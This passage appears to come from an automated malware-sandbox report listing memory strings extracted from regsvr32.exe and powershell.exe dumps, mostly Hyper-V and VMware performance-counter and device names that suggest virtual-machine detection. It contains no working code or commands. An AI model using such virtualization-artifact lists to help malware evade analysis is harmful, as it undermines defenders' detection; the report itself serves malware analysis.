Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost
Source: regsvr32.exe, 00000008.00000003.1820951709.000000000335A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.000000000335B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2017378313.0000000002DD1000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000388B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2Hyper-V VM Vid Partitionvity
Source: regsvr32.exe, 00000008.00000003.1795892275.00000000027A4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1807349450.00000000027A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814
Source: regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003A03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2333007615.0000000001259000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2032234436.0000000001245000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Virtual ProcessorJ
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor.exe
Source: regsvr32.exe, 00000008.00000003.1802052757.00000000026E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HL
Source: powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003A03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2333007615.0000000001259000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2032234436.0000000001245000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processor.mui"
Source: regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003A03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2333007615.0000000001259000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2032234436.0000000001245000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partition
Source: regsvr32.exe, 00000008.00000003.1808764425.0000000002770000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1807485390.000000000275A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1801667290.000000000275C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1807589836.0000000002768000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id
Source: regsvr32.exe, 00000008.00000003.1820951709.000000000335A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.000000000335B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2017378313.0000000002DD1000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2332362864.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000388B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2332847185.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003985000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partition
Source: regsvr32.exe, 00000008.00000003.1807203427.0000000002768000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ansitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost5032Debug Register Accesses/sec5034Debug Register Accesses Cost5036Page Fault Intercepts/sec5038Page Fault Intercepts Cost5040NMI Interrupts/sec5042NMI Interrupts Cost5044Guest Page Table Maps/sec5046Large Page TLB Fills/sec5048Small Page TLB Fills/sec5050Reflected Guest Page Faults/sec5052APIC MMIO Accesses/sec5054IO Intercept Messages/s
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003A03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2333007615.0000000001259000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2032234436.0000000001245000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service
Source: regsvr32.exe, 00000008.00000003.1808144317.000000000282D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1808683293.000000000282D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1808165478.000000000282D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1808314026.000000000282D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1808555082.000000000282D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1800365313.0000000002833000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1808533714.000000000282D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1808630037.000000000282D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1800161121.0000000002833000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1800519413.0000000002833000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1807953878.000000000282D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp In
Source: regsvr32.exe, 00000008.00000003.1800714954.0000000002833000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1809353860.0000000002835000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1801477539.0000000002835000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1808800604.0000000002851000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1809279203.0000000002851000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818I
Source: regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003A03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2333007615.0000000001259000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2032234436.0000000001245000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service
Source: regsvr32.exe, 00000008.00000003.2088789519.000000000290A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2320947816.0000000002DF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWuv
Source: regsvr32.exe, 00000008.00000003.1820951709.000000000335A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.000000000335B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2017378313.0000000002DD1000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000388B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipes
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sWDHyper-V Hypervisor Root Partitionui
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2332362864.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2332847185.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003985000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partition*=
Source: regsvr32.exe, 00000010.00000003.1993680972.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ot Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost5032Debug Register Accesses/sec5034Debug Register Accesses Cost5036Page Fault Intercepts/sec5038Page Fault Intercepts Cost5040NMI Interrupts/sec5042NMI Interrupts Cost5044Guest Page Table Maps/sec5046Large Page TLB Fills/sec5048Small Page TLB Fills/sec5050Reflected Guest Page Faults/sec5052APIC MMIO Accesses/sec5054IO Intercept Messages/sec5056Memory Intercept Messages/sec5058APIC EOI Accesses/sec5060Other Messages/sec5062Page Table Allocations/sec5064Logical Processor Migrations/sec5066Address Space Evictions/sec5
Source: regsvr32.exe, 00000010.00000003.2020259374.0000000002E3F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003985000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2332847185.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2Hyper-V VM Vid Partitionmun5
Source: regsvr32.exe, 00000008.00000003.1801142128.000000000270C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1793582257.000000000270C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Tra
Source: regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2332362864.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2332847185.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003985000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V HypervisorH
Source: regsvr32.exe, 00000008.00000003.1801724260.0000000002732000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1807568919.0000000002732000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003A03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2333007615.0000000001259000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2032234436.0000000001245000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V wwqkrpglnloojsk Bus
